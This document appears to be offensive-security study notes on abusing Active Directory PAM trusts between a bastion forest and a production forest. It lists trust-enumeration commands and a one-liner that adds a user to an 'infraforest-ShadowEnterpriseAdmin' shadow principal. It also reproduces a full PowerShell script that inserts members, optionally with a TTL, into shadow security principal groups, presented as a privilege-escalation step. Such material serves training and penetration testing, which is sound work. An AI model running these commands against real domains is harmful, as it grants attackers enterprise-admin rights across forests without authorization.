Enumerate if our current forest has any PAM trust with any other forest
Using the ADModule, we can simply run Get-ADTrust and look for a trust which has ForestTransitive set to True and SIDFilteringQuarantined set to False - this means that SID Filtering is disabled.
Enumerate if your current forest is managed by a bastion forest
Look for ForestTransitive set to True and SIDFilteringForestAware set to True. In this case, TrustAttributes is also a very good indicator. It is 0x00000400 (1024 in decimal) for PAM/PIM trust. Simplifying it, it is 1096 for PAM + External Trust + Forest Transitive.
Get-ADTrust-Filter *-Properties *
INSERT IMAGE
Enumerate the shadow security principals
Enumerate the members from the current (bastion) forest and privileges in the user/production forest.
Please note that if Kerberos AES Encryption is not enabled for the PAM trust, we need to add the machines of existing forest in WSMan TrustedHosts and use '-Authentication Negotiate' option with PowerShell remoting cmdlets.
Add user to shadow security principal
Adding user oneliner
Set-ADObject-Identity "CN=infraforest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=gcbtech,DC=local"-Add @{'member'="<TTL=3600,CN=exam user,CN=Users,DC=gcbtech,DC=local>"}
Import below script and execute below command.
Add-ADShadowGroupMember-GroupNameValue "accforest-ShadowEnterpriseAdmin"-MemberNameValue "syslogagent"-TypeValue user -TTLValue "3600"-ADModulePATH "C:\Windows\temp\AD\ADModule\ActiveDirectory\ActiveDirectory.psd1"
Add-ADShadowGroupMember.ps1
functionAdd-ADShadowGroupMember {Param( [Parameter(Mandatory=$true,Position=1)] [string]$GroupNameValue, [Parameter(Mandatory=$true,Position=2)] [string]$MemberNameValue, [parameter(Mandatory=$true,Position=3)] [ValidateSet("user","group")] [String]$TypeValue, [Parameter(Mandatory=$False,Position=4)] [string]$TTLValue, [Parameter(Mandatory=$False,Position=5)] [string]$ADModulePATH )<#.SYNOPSIS Add a new member in an existing AD ShadowGroup.DESCRIPTION Add a new member in an existing AD ShadowGroup. The member could be a user or a group but must be located in the same AD hosting the Shadow Group..PARAMETERGroupNameValue Mandatory parameter -GroupNameValue string Provide Shadow Group name to be used in configuration partition of directory (cn=Shadow Principal Configuration,cn=Services...) (object to be searched only in the current AD).PARAMETERMemberNameValue Mandatory parameter -MemberNameValue string Provide the name of user or group to be added in the "member" attribute of the AD Shadow Group (object to be searched only in the current AD).PARAMETERMemberNameValue Mandatory parameter -TypeValue string (user or group) Provide the type of member to add (user or group) (object to be searched only in the current AD).PARAMETERTTLValue Optional parameter -TTLValue string (time in second) Provide the TTL membership for the entry to be added (user or group). At the end of the TTL, the entry is removed automatically from the member attribute of the object..PARAMETERADModulePATH Optional parameter -ADModulePATH string (path to ADModule .psd1) Provide the path to the ActiveDirectory.psd1 file.EXAMPLE C:\PS> Add-ADShadowGroupMember -GroupNameValue "Shadow-Domain Admins" -MemberNameValue "Domain Admins" -TypeValue group.EXAMPLE C:\PS> Add-ADShadowGroupMember -GroupNameValue "Shadow-Domain Admins" -MemberNameValue "Super-Admin" -TypeValue user.EXAMPLE C:\PS> Add-ADShadowGroupMember -GroupNameValue "Shadow-Domain Admins" -MemberNameValue "Temp-Super-Admin" -TypeValue user -TTLValue "3600".EXAMPLE C:\PS> Add-ADShadowGroupMember -GroupNameValue "accforest-ShadowEnterpriseAdmin" -MemberNameValue "syslogagent" -TypeValue user -TTLValue "3600" -ADModulePATH "C:\Windows\temp\AD\ADModule\ActiveDirectory\ActiveDirectory.psd1" #>If ($ADModulePATH) {try { import-module $ADModulePATH } catch {Write-Host"Not able to load active directory module - KO"-foregroundcolor "Red"Write-Host"Please check RSAT is installed if you are running the script on A PC"-foregroundcolor "Red" write-host "Error Type: $($_.Exception.GetType().FullName)"-ForegroundColor "Yellow" write-host "Error Message: $($_.Exception.Message)"-ForegroundColor "Yellow"return } } Else {try { import-module ActiveDirectory } catch {Write-Host"Not able to load active directory module - KO"-foregroundcolor "Red"Write-Host"Please check RSAT is installed if you are running the script on A PC"-foregroundcolor "Red" write-host "Error Type: $($_.Exception.GetType().FullName)"-ForegroundColor "Yellow" write-host "Error Message: $($_.Exception.Message)"-ForegroundColor "Yellow"return } } $CurrentConfigurationPartDN = ([ADSI]"LDAP://RootDSE").configurationNamingContext $ADPArtDN = ([ADSI]"LDAP://RootDSE").defaultNamingContext $ShadowGroupPath ="cn=Shadow Principal Configuration,cn=Services,$($CurrentConfigurationPartDN)" $CheckShadowObject = get-adobject -Filter "ObjectClass -eq 'msDS-ShadowPrincipal' -and Name -eq '$($GroupNameValue)'"-SearchBase "$($ShadowGroupPath)"-properties member $CheckShadowObjectDN = $CheckShadowObject.DistinguishedName | select-objectIf (-not $CheckShadowObject) {Write-Host"ShadowPrincipal group $($GroupNameValue) not found ! - KO"-foregroundcolor "Red"return }try { $checkUserObject = get-adobject -Filter "ObjectClass -eq '$($TypeValue)' -and cn -eq '$($MemberNameValue)'"-SearchBase "$($ADPArtDN)"-SearchScope Subtree -properties * $checkUserObjectDN = $checkUserObject.DistinguishedName | select-object } catch {Write-Host"Not able to find $($MemberNameValue) in current AD - KO"-foregroundcolor "Red" write-host "Error Type: $($_.Exception.GetType().FullName)"-ForegroundColor "Yellow" write-host "Error Message: $($_.Exception.Message)"-ForegroundColor "Yellow"return }If ($TTLValue) {try {Set-ADObject-Identity "$($CheckShadowObjectDN)"-Add @{'member'="<TTL=$($TTLValue),$($checkUserObjectDN)>"} } catch {Write-Host"Not able to add $($MemberNameValue) to $($GroupNameValue) with TTL $($TTLValue) - KO"-foregroundcolor "Red" write-host "Error Type: $($_.Exception.GetType().FullName)"-ForegroundColor "Yellow" write-host "Error Message: $($_.Exception.Message)"-ForegroundColor "Yellow"return } } Else {try {Set-ADObject-Identity "$($CheckShadowObjectDN)"-Add @{'member'="$($checkUserObjectDN)"} } catch {Write-Host"Not able to add $($MemberNameValue) to $($GroupNameValue) - KO"-foregroundcolor "Red" write-host "Error Type: $($_.Exception.GetType().FullName)"-ForegroundColor "Yellow" write-host "Error Message: $($_.Exception.Message)"-ForegroundColor "Yellow"return } } $CheckObject = get-adobject -Filter "ObjectClass -eq 'msDS-ShadowPrincipal' -and Name -eq '$($GroupNameValue)'"-SearchBase "$($ShadowGroupPath)"-properties * $CheckObject}